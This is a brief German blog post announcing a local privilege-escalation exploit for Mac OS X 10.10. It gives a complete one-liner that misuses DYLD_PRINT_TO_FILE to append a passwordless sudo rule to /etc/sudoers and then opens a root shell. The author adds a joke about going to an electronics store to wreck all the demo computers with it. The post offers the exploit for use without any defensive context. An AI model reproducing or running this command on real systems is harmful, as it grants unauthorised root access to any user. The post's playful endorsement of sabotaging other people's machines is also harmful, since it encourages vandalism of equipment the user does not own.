Einzeiler beschert Adminrechte unter Mac OS X 10.10


In der aktuellsten Version von MacOSX gibt es einen neuen Exploit.

Mit dem einfachen Befehl:
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

Kann man mit jedem Nutzer volle Admin Rechte bekommen.

Das erste was ich mir gedacht habe ist zu Mediamarkt zu rennen und mal alle Rechner zu zerschießen.
Mal gucken wie lange Apple braucht diese Lücke zu beheben ;)
Previous
Next Post »
0 Komentar